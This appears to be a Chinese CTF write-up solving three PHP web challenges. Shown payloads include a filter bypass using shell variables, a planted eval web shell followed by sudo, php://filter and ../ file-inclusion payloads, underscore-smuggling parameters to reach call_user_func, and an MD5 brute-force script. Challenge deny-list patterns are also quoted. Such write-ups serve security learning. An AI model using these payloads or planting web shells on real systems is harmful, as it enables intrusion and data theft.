<?php function containsPathTraversal ($input ) { $patterns = [ '/\.\.\//' , '/\/\//' , '/\%2e\%2e\//' , '/\%2E\%2E\\/' , '/flag/' , '/\//' , '/>/' ]; foreach ($patterns as $pattern ) { if (preg_match ($pattern , $input )) { return true ; } } return false ; } if (isset ($_POST ['rce' ]) && containsPathTraversal ($_POST ['rce' ])) { die ('不不不,我也有底线的,至少在这个文件夹内,你随意' ); } ?>
禁用如下
利用环境变量绕过/
rce=ls ${PWD::${#SHLVL}} rce=cat ${PWD::${#SHLVL}}fl*
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。只需要${PWD::${SHLVL}},结果就是/
但是这里读不出flag,猜测要提权,那就只能写马了。通过转义符\
绕过$
的过滤
echo "<?=eval(\$_POST["123"]);" | tee 1.php
连接后sudo
读取flag
毒鸡汤(文件包含) 扫目录找到一堆东西,先访问www.zip
在下载源码中看到hint.txt
提示flag
在根目录
index.php
中找到文件包含漏洞
<?php $filename = $_GET ['readfile' ];if ($filename ){ include ($filename ); } ?>
直接data伪协议试试
GET:readfile=php://filter/read=convert.base64-encode/resource=/flag 或者 GET:readfile=../../../../../../../../flag
veryphp(php特性-正则匹配,函数回调) <?php error_reporting (0 );highlight_file (__FILE__ );include ("config.php" );class qwq { function __wakeup ( ) { die ("Access Denied!" ); } static function oao ( ) { show_source ("config.php" ); } } $str = file_get_contents ("php://input" );if (preg_match ('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is' ,$str )){ die ("I am sorry but you have to leave." ); }else { extract ($_POST ); } if (isset ($shaw_root )){ if (preg_match ('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/' , $shaw_root )&& strlen ($shaw_root )===29 ){ echo $hint ; }else { echo "Almost there." ."<br>" ; } }else { echo "<br>" ."Input correct parameters" ."<br>" ; die (); } if ($ans ===$SecretNumber ){ echo "<br>" ."Congratulations!" ."<br>" ; call_user_func ($my_ans ); }
第一个preg_match过滤的是str,因为不可控所以不考虑
第二个preg_match是匹配正则
$shaw_root
参数要满足以上两个preg_match
,并且长度要为29才能输出hint
ans
参数值要等于hint
里面的ans
参数值要等于hint里面的ans参数值要等于hint里面的SecretNumber值
call_user_func()
回调函数,也就是$my_ans
要调用类的方法
根据上述分析,首先是绕过第一个preg_match
,也就是shaw_root
和my_ans
不能存在下划线,这里可以利用一个特性,在传入一些非法字符的时候php会把它解析为下划线_,例如空格、+以及[
第二步是shaw_root匹配正则
^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$ ^表示的是正则表达式开始的位置 -表示- [a-e]表示选其中的一个字母 [^a-zA-Z0-8]表示匹配不属于这里面的数 <b>表示<b> (.*)表示除换行符 \n 之外的任何单字符,然后有0次或多次 > {4}表示限定出现4次> \D*表示匹配非数字 ?表示匹配前面的子表达式零次或一次类似于{0,1} (abc.*?)表示匹配abc p(hp)*表示匹配了php @R表示传入@R (s|r)表示传入s或r .表示除换行符 \n 之外的任何单字符 $表示正则表达式的结束符号
匹配正则可以使用这个在线网站regex
最终结果
shaw[root=-a9<b>11111111>>>>aabcphp@Rs1
注意这里在传参时不能使用hackbar,hackbar在传参时会先url编码一次,所以应该直接抓包传参
传参后获得hint如下
Here is a hint : md5 ("shaw" .($SecretNumber )."root" )==166 b47a5cb1ca2431a0edfcef200684f && strlen ($SecretNumber )===5
写脚本爆破就行
import hashlibimport itertoolsdef crack_password (): chars = '0123456789' target_hash = "166b47a5cb1ca2431a0edfcef200684f" for candidate in itertools.product(chars, repeat=5 ): secret_number = '' .join(candidate) password = f"shaw{secret_number} root" md5_hash = hashlib.md5(password.encode()).hexdigest() if md5_hash == target_hash: print (f"爆破成功!密码为: {password} " ) print (f"对应MD5哈希: {md5_hash} " ) return if __name__ == '__main__' : crack_password()
最后传参为
shaw[root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my[ans=qwq::oao
关于call_user_func()函数
//1.可以用array(__NAMESPACE__.'\类名','方法名')
传递类方法,也就是:array('命名空间\类名','方法名')
$return = call_user_func(array(类名,方法名),参数);
//2.可以用···· __NAMESPACE__.'\类名::方法名' ···
传递类方法,也就是:'命名空间\类名::方法名'
$return1 = call_user_func(类名::方法,参数);